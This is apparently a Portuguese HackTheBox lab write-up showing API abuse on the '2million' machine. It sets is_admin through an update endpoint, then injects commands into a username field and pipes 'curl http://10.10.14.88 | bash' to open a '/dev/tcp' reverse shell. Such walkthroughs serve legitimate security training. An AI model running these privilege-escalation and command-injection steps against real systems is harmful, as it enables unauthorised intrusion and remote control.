> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/api-attack/abus-api-hackthebox.md).

# Abuso de API no HackTheBox

## Exploração da API HACKTHEBOX

<figure><img src="/files/c2297115bbdf245d229d3c5f7668caa64d252d14" alt=""><figcaption></figcaption></figure>

#### Observação da API

Ao visitar `/api`, observamos as rotas disponíveis

<figure><img src="/files/4704098230749ec2c6ef0e2c83222f71f8205dd7" alt=""><figcaption></figcaption></figure>

#### Tentativa de geração da configuração da VPN (falha inicial)

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate

```

resposta: não autorizado.

<figure><img src="/files/747f97995adb93c6c0b2078a8ee261f145e14b10" alt=""><figcaption></figcaption></figure>

#### Modificação do nosso papel via a API

<figure><img src="/files/9d9e4857799b4a88433f41751d69f0950bdbecb4" alt=""><figcaption></figcaption></figure>

Testamos a modificação dos parâmetros do usuário com a rota:

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update

```

> {"status":"danger","message":"Missing parameter: email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'

```

> {"status":"danger","message":"Missing parameter: is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'

```

> resposta:
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="/files/9fdf79205c38671756919b80bcc4f1c3bd0df57a" alt=""><figcaption></figcaption></figure>

#### Verificação do nosso status de administrador

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}

```

<figure><img src="/files/705cb5143563589db0a61743f19c4f29168188c0" alt="" width="563"><figcaption></figcaption></figure>

### RCE via injeção de comando

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'

```

<figure><img src="/files/cb6e6dbbfcf4971f49fa9138d3a6e4a748744d1d" alt=""><figcaption></figcaption></figure>

Tentativa de injeção de comando no campo `nome de usuário`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'

```

<figure><img src="/files/36bac5af8f19336e3405bb3b440764acf7ad37eb" alt=""><figcaption></figcaption></figure>

#### Shell reverso

1. **arquivos do servidor**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80

```

2. **Ouvinte do Netcat**

```bash
nc -nvlp 443

```

3. **Envio do comando**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'

```

Obtemos uma shell reversa

<figure><img src="/files/6bba29594bd3c58dc06ea21ad5cc40478c79b812" alt=""><figcaption></figcaption></figure>


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